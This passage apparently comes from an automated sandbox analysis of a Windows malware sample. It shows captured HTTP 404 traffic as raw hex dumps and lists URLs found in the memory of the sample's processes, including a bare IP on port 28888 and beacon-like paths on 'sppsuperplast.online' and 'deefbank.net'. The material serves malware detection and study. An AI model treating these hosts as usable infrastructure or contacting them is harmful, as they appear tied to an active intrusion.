65 fd 16 9e 9d a4 a3 a5 11 db 0d 7a d3 1c db 5d 23 84 af 98 fe d7 21 f7 75 32 bc aa 36 85 dc d9 a7 4e 77 d0 71 9d c1 50 02 0f 24 4b 44 65 39 aa 73 a7 93 3d 20 91 73 2d 5a 7a 86 fa 9e b3 bb 72 a8 e1 07 92 54 92 e2 0a 26 4a be 49 8e 92 47 c9 41 f2 98 25 df 25 fb e9 47 f8 78 2f 39 4c 3f 4e 6f e0 f3 21 7e 8f 92 bb c9 3e 3d be bb e6 77 e3 70 a3 89 78 d4 91 db 35 08 b5 39 56 87 52 86 f1 05 cb 42 f8 99 08 60 1d 0c 7e d0 0f 5c 37 98 30 3f 08 42 01 94 e0 03 e2 00 68 11 11 f0 cc a3 01 85 75 a7 8b b8 1f 41 99 bf d2 ec 66 fa 51 7a b3 69 f1 76 d3 c2 3a da cd 85 c5 0c 44 a7 93 c5 ba 31 89 78 18 42 68 66 e0 c5 f6 8e 8a c5 0e 62 01 c4 b0 b2 93 72 cb 30 88 25 68 c4 88 25 97 8e 0d 07 2c cc 3a 67 6b 23 9b 9f fc b4 3e b3 c6 82 47 0c 45 0d 95 95 cc 31 5c 6f 37 c3 d5 a3 7b 42 e3 18 c1 fa ec de 6a 76 a3 76 72 a8 1d 96 fc 40 9e 4c 7e 50 de 7d 70 cc 9f 73 46 0f 57 2d bc 3b 96 32 f0 e3 dc e2 58 79 09 06 fa 21 b4 d4 1f e0 06 37 88 3a ca cf c2 b7 09 6c d9 83 d8 b9 2a 3a 40 80 c7 5d e5 8e cc aa c5 f8 c2 82 59 7f e5 1a f0 72 49 44 c8 7b 3d 38 aa e3 12 76 16 b1 47 24 ad f1 67 4d 86 81 13 5b 9b f6 50 d8 a3 d6 5a 4f 25 8b e5 1c be c6 bd 70 03 a3 3a 71 30 8e 6c d1 ca 95 20 76 ae b4 7f 4d 72 08 8d ac bc 62 0a 9e f2 0a 14 7d 97 62 f2 e4 15 f5 02 8f 3b 05 c9 e7 81 53 52 5e 77 b0 7c 31 b1 36 c7 d2 cb 35 5b a1 3f f5 a0 4c 33 f6 72 dd d7 a8 c9 c6 ba b8 33 f0 5b 31 8c e5 f7 3a 90 76 f2 52 93 bf 03 1c ff 49 0e 58 fa 69 72 94 7e 96 de 64 c9 fd 9c 1d 4e 97 02 32 0e b9 bf 04 b7 61 14 78 81 a1 b
            Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Fri, 25 Oct 2024 14:29:57 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeContent-Encoding: gzipData Raw: 64 31 63 0d 0a 1f 8b 08 00 00 00 00 00 00 03 cd 5a 6b 6f 1b c7 15 fd ee 5f 31 66 01 91 b4 b9 bb 51 52 04 b6 45 52 79 38 fd 94 47 01 39 2d 0a 45 21 86 cb 21 b9 e6 be ba 3b 14 4d db 02 12 3b 69 12 c4 88 d1 34 40 81 a0 45 5f 28 fa a9 80 fc 50 a3 f8 a1 fc 85 dd 7f d4 73 67 76 97 4b 8a 94 1f 71 8a 0a 90 44 ce ce dc b9 73 ef b9 e7 de 99 d9 e6 e9 5e 60 cb 69 28 d8 50 7a 6e bb 49 7f 99 ed f2 38 6e 55 9c b8 c3 7b 3c 94 ce ae a8 30 97 fb 83 56 25 1a 57 d0 47 f0 5e bb e9 09 c9 99 3d e4 51 2c 64 ab f2 fe a5 5f 18 e7 f0 4c b5 fa dc 13 ad 4a c8 a3 91 e3 0f 2a cc 0e 7c 29 7c 74 8a c4 20 1a 1b 11 64 ce f7 dc 75 c4 24 0c 22 59 ea 3a 71 7a 72 d8 ea 89 5d c7 16 86 fa d2 70 7c 47 3a dc 35 62 9b bb a2 b5 0e 11 d2 91 ae 68 4f 26 13 d3 15 b1 e1 41 69 3e 10 66 e0 bb 8e 2f 9a 96 7e da c4 97 11 8b 84 db aa c4 72 8a 7e 43 21 30 91 27 7a 0e 6f 55 b8 eb 56 d8 30 12 fd 42 5d a5 9e c1 c7 32 30 ed 38 c6 24 b3 f1 0e 16 92 f7 ee 73 68 16 f8 26 fe 6c ae 57 18 59 10 06 f3 30 bf 75 c5 50 1d db cd d8 8e 9c 50 b6 ad 33 cd d3 db 6f 5e 7c fd d2 eb db 67 ac 53 13 c7 ef 05 13 53 46 dc 1e 6d a9 0e 6f 07 bc c7 5a ac 3f f6 6d e9 04 7e ad 7e 6d 6f e3 94 75 66 67 a7 7d c6 6a 5a 99 90 4c 18 c3 e2 d0 bd 55 59 2e a6 56 b5 3c ee 3b 7d 11 4b f3 72 5c ad 57 d0 5f 44 51 10 3d e5 80 06 5b c7 98 38 b2 5b 95 b2 20 f8 25 f7 f3 58 f6 95 9f 9f 59 2f 02 0d 5c 47 16 89 9f 5a b7 c5 41 65 fd 16 9e 9d a4 a3 a5 11 db 0d 7a d3 1c db 5d 23 84 af 98 fe d7 21 f7 75 32 bc aa 36 85 dc d9 a7 4e 77 d0 71 9d c1 50 02 0f 24 4b 44 65 39 aa 73 a7 93 3d 20 91 73 2d 5a 7a 86 fa 9e b3 bb 72 a8 e1 07 92 54 92 e2 0a 26 4a be 49 8e 92 47 c9 41 f2 98 25 df 25 fb e9 47 f8 78 2f 39 4c 3f 4e 6f e0 f3 21 7e 8f 92 bb c9 3e 3d be bb e6 77 e3 70 a3 89 78 d4 91 db 35 08 b5 39 56 87 52 86 f1 05 cb 42 f8 99 08 60 1d 0c 7e d0 0f 5c 37 98 30 3f 08 42 01 94 e0 03 e2 00 68 11 11 f0 cc a3 01 85 75 a7 8b b8 1f 41 99 bf d2 ec 66 fa 51 7a b3 69 f1 76 d3 c2 3a da cd 85 c5 0c 44 a7 93 c5 ba 31 89 78 18 42 68 66 e0 c5 f6 8e 8a c5 0e 62 01 c4 b0 b2 93 72 cb 30 88 25 68 c4 88 25 97 8e 0d 07 2c cc 3a 67 6b 23 9b 9f fc b4 3e b3 c6 82 47 0c 45 0d 95 95 cc 31 5c 6f 37 c3 d5 a3 7b 42 e3 18 c1 fa ec de 6a 76 a3 76 72 a8 1d 96 fc 40 9e 4c 7e 50 de 7d 70 cc 9f 73 46 0f 57 2d bc 3b 96 32 f0 e3 dc e2 58 79 09 06 fa 21 b4 d4 1f e0 06 37 88 3a ca cf c2 b7 09 6c d9 83 d8 b9 2a 3a 40 80 c7 5d e5 8e cc aa c5 f8 c2 82 59 7f e5 1a f0 72 49 44 c8 7b 3d 38 aa e3 12 76 16 b1 47 24 ad f1 67 4d 86 81 13 5b 9b f6 50 d8 a3 d6 5a 4f 25 8b e5 1c be c6 bd 70 03 a3 3a 71 30 8e 6c d1 ca 95 20 76 ae b4 7f 4d 72 08 8d ac bc 62 0a 9e f2 0a 14 7d 97 62 f2 e4 15 f5 02 8f 3b 05 c9 e7 81 53 52 5e 77 b0 7c 31 b1 36 c7 d2 cb 35 5b a1 3f f5 a0 4c 33 f6 72 dd d7 a8 c9 c6 ba b8 33 f0 5b 31 8c e5 f7 3a 90 76 f2 52 93 bf 03 1c ff 49 0e 58 fa 69 72 94 7e 96 de 64 c9 fd 9c 1d 4e 97 02 32 0e b9 bf 04 b7 61 14 78 81 a1 b
            Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Fri, 25 Oct 2024 14:29:59 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeContent-Encoding: gzipData Raw: 64 31 63 0d 0a 1f 8b 08 00 00 00 00 00 00 03 cd 5a 6b 6f 1b c7 15 fd ee 5f 31 66 01 91 b4 b9 bb 51 52 04 b6 45 52 79 38 fd 94 47 01 39 2d 0a 45 21 86 cb 21 b9 e6 be ba 3b 14 4d db 02 12 3b 69 12 c4 88 d1 34 40 81 a0 45 5f 28 fa a9 80 fc 50 a3 f8 a1 fc 85 dd 7f d4 73 67 76 97 4b 8a 94 1f 71 8a 0a 90 44 ce ce dc b9 73 ef b9 e7 de 99 d9 e6 e9 5e 60 cb 69 28 d8 50 7a 6e bb 49 7f 99 ed f2 38 6e 55 9c b8 c3 7b 3c 94 ce ae a8 30 97 fb 83 56 25 1a 57 d0 47 f0 5e bb e9 09 c9 99 3d e4 51 2c 64 ab f2 fe a5 5f 18 e7 f0 4c b5 fa dc 13 ad 4a c8 a3 91 e3 0f 2a cc 0e 7c 29 7c 74 8a c4 20 1a 1b 11 64 ce f7 dc 75 c4 24 0c 22 59 ea 3a 71 7a 72 d8 ea 89 5d c7 16 86 fa d2 70 7c 47 3a dc 35 62 9b bb a2 b5 0e 11 d2 91 ae 68 4f 26 13 d3 15 b1 e1 41 69 3e 10 66 e0 bb 8e 2f 9a 96 7e da c4 97 11 8b 84 db aa c4 72 8a 7e 43 21 30 91 27 7a 0e 6f 55 b8 eb 56 d8 30 12 fd 42 5d a5 9e c1 c7 32 30 ed 38 c6 24 b3 f1 0e 16 92 f7 ee 73 68 16 f8 26 fe 6c ae 57 18 59 10 06 f3 30 bf 75 c5 50 1d db cd d8 8e 9c 50 b6 ad 33 cd d3 db 6f 5e 7c fd d2 eb db 67 ac 53 13 c7 ef 05 13 53 46 dc 1e 6d a9 0e 6f 07 bc c7 5a ac 3f f6 6d e9 04 7e ad 7e 6d 6f e3 94 75 66 67 a7 7d c6 6a 5a 99 90 4c 18 c3 e2 d0 bd 55 59 2e a6 56 b5 3c ee 3b 7d 11 4b f3 72 5c ad 57 d0 5f 44 51 10 3d e5 80 06 5b c7 98 38 b2 5b 95 b2 20 f8 25 f7 f3 58 f6 95 9f 9f 59 2f 02 0d 5c 47 16 89 9f 5a b7 c5 41 65 fd 16 9e 9d a4 a3 a5 11 db 0d 7a d3 1c db 5d 23 84 af 98 fe d7 21 f7 75 32 bc aa 36 85 dc d9 a7 4e 77 d0 71 9d c1 50 02 0f 24 4b 44 65 39 aa 73 a7 93 3d 20 91 73 2d 5a 7a 86 fa 9e b3 bb 72 a8 e1 07 92 54 92 e2 0a 26 4a be 49 8e 92 47 c9 41 f2 98 25 df 25 fb e9 47 f8 78 2f 39 4c 3f 4e 6f e0 f3 21 7e 8f 92 bb c9 3e 3d be bb e6 77 e3 70 a3 89 78 d4 91 db 35 08 b5 39 56 87 52 86 f1 05 cb 42 f8 99 08 60 1d 0c 7e d0 0f 5c 37 98 30 3f 08 42 01 94 e0 03 e2 00 68 11 11 f0 cc a3 01 85 75 a7 8b b8 1f 41 99 bf d2 ec 66 fa 51 7a b3 69 f1 76 d3 c2 3a da cd 85 c5 0c 44 a7 93 c5 ba 31 89 78 18 42 68 66 e0 c5 f6 8e 8a c5 0e 62 01 c4 b0 b2 93 72 cb 30 88 25 68 c4 88 25 97 8e 0d 07 2c cc 3a 67 6b 23 9b 9f fc b4 3e b3 c6 82 47 0c 45 0d 95 95 cc 31 5c 6f 37 c3 d5 a3 7b 42 e3 18 c1 fa ec de 6a 76 a3 76 72 a8 1d 96 fc 40 9e 4c 7e 50 de 7d 70 cc 9f 73 46 0f 57 2d bc 3b 96 32 f0 e3 dc e2 58 79 09 06 fa 21 b4 d4 1f e0 06 37 88 3a ca cf c2 b7 09 6c d9 83 d8 b9 2a 3a 40 80 c7 5d e5 8e cc aa c5 f8 c2 82 59 7f e5 1a f0 72 49 44 c8 7b 3d 38 aa e3 12 76 16 b1 47 24 ad f1 67 4d 86 81 13 5b 9b f6 50 d8 a3 d6 5a 4f 25 8b e5 1c be c6 bd 70 03 a3 3a 71 30 8e 6c d1 ca 95 20 76 ae b4 7f 4d 72 08 8d ac bc 62 0a 9e f2 0a 14 7d 97 62 f2 e4 15 f5 02 8f 3b 05 c9 e7 81 53 52 5e 77 b0 7c 31 b1 36 c7 d2 cb 35 5b a1 3f f5 a0 4c 33 f6 72 dd d7 a8 c9 c6 ba b8 33 f0 5b 31 8c e5 f7 3a 90 76 f2 52 93 bf 03 1c ff 49 0e 58 fa 69 72 94 7e 96 de 64 c9 fd 9c 1d 4e 97 02 32 0e b9 bf 04 b7 61 14 78 81 a1 b
            Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Fri, 25 Oct 2024 14:30:02 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeData Raw: 32 35 30 65 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 73 5f 61 64 61 70 74 69 76 65 22 20 6c 61 6e 67 3d 22 72 75 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 70 61 72 6b 69 6e 67 22 20 63 6f 6e 74 65 6e 74 3d 22 72 65 67 72 75 2d 72 64 61 70 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 3c 74 69 74 6c 65 3e 77 77 77 2e 6c 65 73 2d 6d 61 73 73 61 67 65 2e 6f 6e 6c 69 6e 65 3c 2f 74 69 74 6c 65 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 6d 65 64 69 61 3d 22 61 6c 6c 22 20 68 72 65 66 3d 22 70 61 72 6b 69 6e 67 2d 72 64 61 70 2d 61 75 74 6f 2e 63 73 73 22 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 68 72 65 66 3d 22 66 61 76 69 63 6f 6e 2e 69 63 6f 3f 31 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 3e 3c 73 63 72 69 70 74 3e 2f 2a 3c 21 5b 43 44 41 54 41 5b 2a 2f 0a 77 69 6e 64 6f 77 2e 74 72 61 63 6b 53 63 72 69 70 74 4c 6f 61 64 20 3d 20 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 3b 0a 2f 2a 5d 5d 3e 2a 2f 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 20 6f 6e 6c 6f 61 64 3d 22 77 69 6e 64 6f 77 2e 74 72 61 63 6b 53 63 72 69 70 74 4c 6f 61 64 28 27 2f 6d 61 6e 69 66 65 73 74 2e 6a 73 27 29 22 20 6f 6e 65 72 72 6f 72 3d 22 77 69 6e 64 6f 77 2e 74 72 61 63 6b 53 63 72 69 70 74 4c 6f 61 64 28 27 2f 6d 61 6e 69 66 65 73 74 2e 6a 73 27 2c 20 31 29 22 20 73 72 63 3d 22 2f 6d 61 6e 69 66 65 73 74 2e 6a 73 22 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 20 6f 6e 6c 6f 61 64 3d 22 77 69 6e 64 6f 77 2e 74 72 61 63 6b 53 63 72 69 70 74 4c 6f 61 64 28 27 2f 68 65 61 64 2d 73 63 72 69 70 74 73 2e 6a 73 27 29 22 20 6f 6e 65 72 72 6f 72 3d 22 77 69 6e 64 6f 77 2e 74 72 61 63 6b 53 63 72 69 70 74 4c 6f 61 64 28 27 2f 68 65 61 64 2d 73 63 72 69 70 74 73 2e 6a 73 27 2c 20 31 29 22 20 73 72 63 3d 22 2f 68 65 61 64 2d 73 63 72 69 70 74 73 2e 6a 73 22 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 63 6c 61 73 73 3d 22 62 2d 70 61 67 65 20 62 2d 70 61 67 65 5f 74 79 70 65 5f 70 61 72 6b 69 6e 67 20 62 2d 70 61 72 6b 69 6e 67 20 62 2d 70 61 72 6b 69 6e 67 5f 62 67 5f 6c 69 67 68 74 22 3e 3c 68 65 61 64 65 72 20 63 6c 61 73 73 3d 22 62 2d 70 61 72 6b 69 6e 67 5f 5f 68 65 61 64 65 72 20 62 2d 70 61 72 6b 69 6e 67 5f 5f 68 65 61 64 65 72 5f 74 79 70 65 5f 72 64 61 70 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 62 2d 70 61 72 6b 69 6e 67 5f 5f 68 65 61 64 65 72 2d 6e 6f 74 65 20 62 2d 74 65 78 74 22 3e d0 94 d0 be d0 bc d0 b5 d0 bd 20 d0 b7 d0 b0 d1 80 d0 b5 d
            Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Fri, 25 Oct 2024 14:30:21 GMTContent-Type: text/htmlContent-Length: 148Connection: closeETag: "66a7679f-94"Data Raw: 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 20 20 20 20 20 20 20 20 Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
            Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Fri, 25 Oct 2024 14:30:24 GMTContent-Type: text/htmlContent-Length: 148Connection: closeETag: "66a7679f-94"Data Raw: 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 20 20 20 20 20 20 20 20 Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
            Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Fri, 25 Oct 2024 14:30:27 GMTContent-Type: text/htmlContent-Length: 148Connection: closeETag: "66a7679f-94"Data Raw: 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 20 20 20 20 20 20 20 20 Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
            Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Fri, 25 Oct 2024 14:30:29 GMTContent-Type: text/htmlContent-Length: 148Connection: closeETag: "66a7679f-94"Data Raw: 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 20 20 20 20 20 20 20 20 Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
            Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Fri, 25 Oct 2024 14:30:49 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeContent-Encoding: gzipData Raw: 61 61 0d 0a 1f 8b 08 00 00 00 00 00 04 03 ed 90 b1 0a 02 31 10 44 7b c1 7f 58 3f 20 44 e1 ca 25 8d 28 58 68 e3 17 e4 dc f5 12 c8 6d 8e 18 c1 fb 7b 13 bd 03 b1 b6 b4 dc 99 37 c3 b0 e8 72 1f cc 72 81 8e 2d 19 cc 3e 07 36 cd ba 81 53 cc b0 8f 77 21 d4 6f 11 f5 0b 29 68 1b 69 ac 91 0b 4b e6 64 d0 6d be 13 45 41 3d d9 b5 bb 40 d3 25 9d 97 c7 a7 a7 e7 36 3d 2f 59 29 05 16 06 4b e4 a5 83 1c 81 fc cd b6 81 e1 78 3e ec c0 0a c1 d6 a5 d8 33 5c 93 67 a1 30 02 a7 14 53 49 74 0c 4a d5 65 ff 8a 5f fe e2 09 27 a7 bf a8 24 02 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: aa1D{X? D%(Xhm{7rr->6Sw!o)hiKdmEA=@%6=/Y)Kx>3\g0SItJe_'$0
            Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Fri, 25 Oct 2024 14:30:52 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeContent-Encoding: gzipData Raw: 61 61 0d 0a 1f 8b 08 00 00 00 00 00 04 03 ed 90 b1 0a 02 31 10 44 7b c1 7f 58 3f 20 44 e1 ca 25 8d 28 58 68 e3 17 e4 dc f5 12 c8 6d 8e 18 c1 fb 7b 13 bd 03 b1 b6 b4 dc 99 37 c3 b0 e8 72 1f cc 72 81 8e 2d 19 cc 3e 07 36 cd ba 81 53 cc b0 8f 77 21 d4 6f 11 f5 0b 29 68 1b 69 ac 91 0b 4b e6 64 d0 6d be 13 45 41 3d d9 b5 bb 40 d3 25 9d 97 c7 a7 a7 e7 36 3d 2f 59 29 05 16 06 4b e4 a5 83 1c 81 fc cd b6 81 e1 78 3e ec c0 0a c1 d6 a5 d8 33 5c 93 67 a1 30 02 a7 14 53 49 74 0c 4a d5 65 ff 8a 5f fe e2 09 27 a7 bf a8 24 02 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: aa1D{X? D%(Xhm{7rr->6Sw!o)hiKdmEA=@%6=/Y)Kx>3\g0SItJe_'$0
            Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Fri, 25 Oct 2024 14:30:54 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeContent-Encoding: gzipData Raw: 61 61 0d 0a 1f 8b 08 00 00 00 00 00 04 03 ed 90 b1 0a 02 31 10 44 7b c1 7f 58 3f 20 44 e1 ca 25 8d 28 58 68 e3 17 e4 dc f5 12 c8 6d 8e 18 c1 fb 7b 13 bd 03 b1 b6 b4 dc 99 37 c3 b0 e8 72 1f cc 72 81 8e 2d 19 cc 3e 07 36 cd ba 81 53 cc b0 8f 77 21 d4 6f 11 f5 0b 29 68 1b 69 ac 91 0b 4b e6 64 d0 6d be 13 45 41 3d d9 b5 bb 40 d3 25 9d 97 c7 a7 a7 e7 36 3d 2f 59 29 05 16 06 4b e4 a5 83 1c 81 fc cd b6 81 e1 78 3e ec c0 0a c1 d6 a5 d8 33 5c 93 67 a1 30 02 a7 14 53 49 74 0c 4a d5 65 ff 8a 5f fe e2 09 27 a7 bf a8 24 02 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: aa1D{X? D%(Xhm{7rr->6Sw!o)hiKdmEA=@%6=/Y)Kx>3\g0SItJe_'$0
            Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Fri, 25 Oct 2024 14:30:57 GMTContent-Type: text/htmlContent-Length: 548Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
            Source: replace.exe, 00000004.00000002.4574211387.000000000552E000.00000004.10000000.00040000.00000000.sdmp, replace.exe, 00000004.00000002.4576197720.0000000006710000.00000004.00000800.00020000.00000000.sdmp, aqHVlkxOGyJW.exe, 00000006.00000002.4573706194.0000000004C6E000.00000004.00000001.00040000.00000000.sdmpString found in binary or memory: http://156.226.108.99:28888/
            Source: replace.exe, 00000004.00000002.4574211387.00000000043E8000.00000004.10000000.00040000.00000000.sdmp, aqHVlkxOGyJW.exe, 00000006.00000002.4573706194.0000000003B28000.00000004.00000001.00040000.00000000.sdmpString found in binary or memory: http://sppsuperplast.online/becc/?tD38rnpX=NMCgl399tF1pJwA6An/WBP0ajP560ZE7ZZq
            Source: aqHVlkxOGyJW.exe, 00000006.00000002.4575610273.00000000058F2000.00000040.80000000.00040000.00000000.sdmpString found in binary or memory: http://www.deefbank.net
            Source: aqHVlkxOGyJW.exe, 00000006.00000002.4575610273.00000000058F2000.00000040.80000000.00040000.00000000.sdmpString found in binary or memory: http://www.deefbank.net/1y6y/
            Source: replace.exe, 00000004.00000003.2435508522.000000000815D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://ac.ecosia.org/autocomplete?q=
            Source: replace.exe, 00000004.00000003.2435508522.000000000815D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
            Source: replace.exe, 00000004.00000002.4574211387.000000000470C000.00000004.10000000.00040000.00000000.sdmp, aqHVlkxOGyJW.exe, 00000006.00000002.4573706194.0000000003E4C000.00000004.00000001.00040000.00000000.sdmpString found in binary or memory: https://cdn.jsdelivr.net/npm/bootstrap
            Source: replace.exe, 00000004.00000002.4574211387.000000000470C000.00000004.10000000.00040000.00000000.sdmp, aqHVlkxOGyJW.exe, 00000006.00000002.4573706194.0000000003E4C000.00000004.00000001.00040000.00000000.sdmpString found in binary or memory: https://cdn.jsdelivr.net/npm/bootstrap-icons
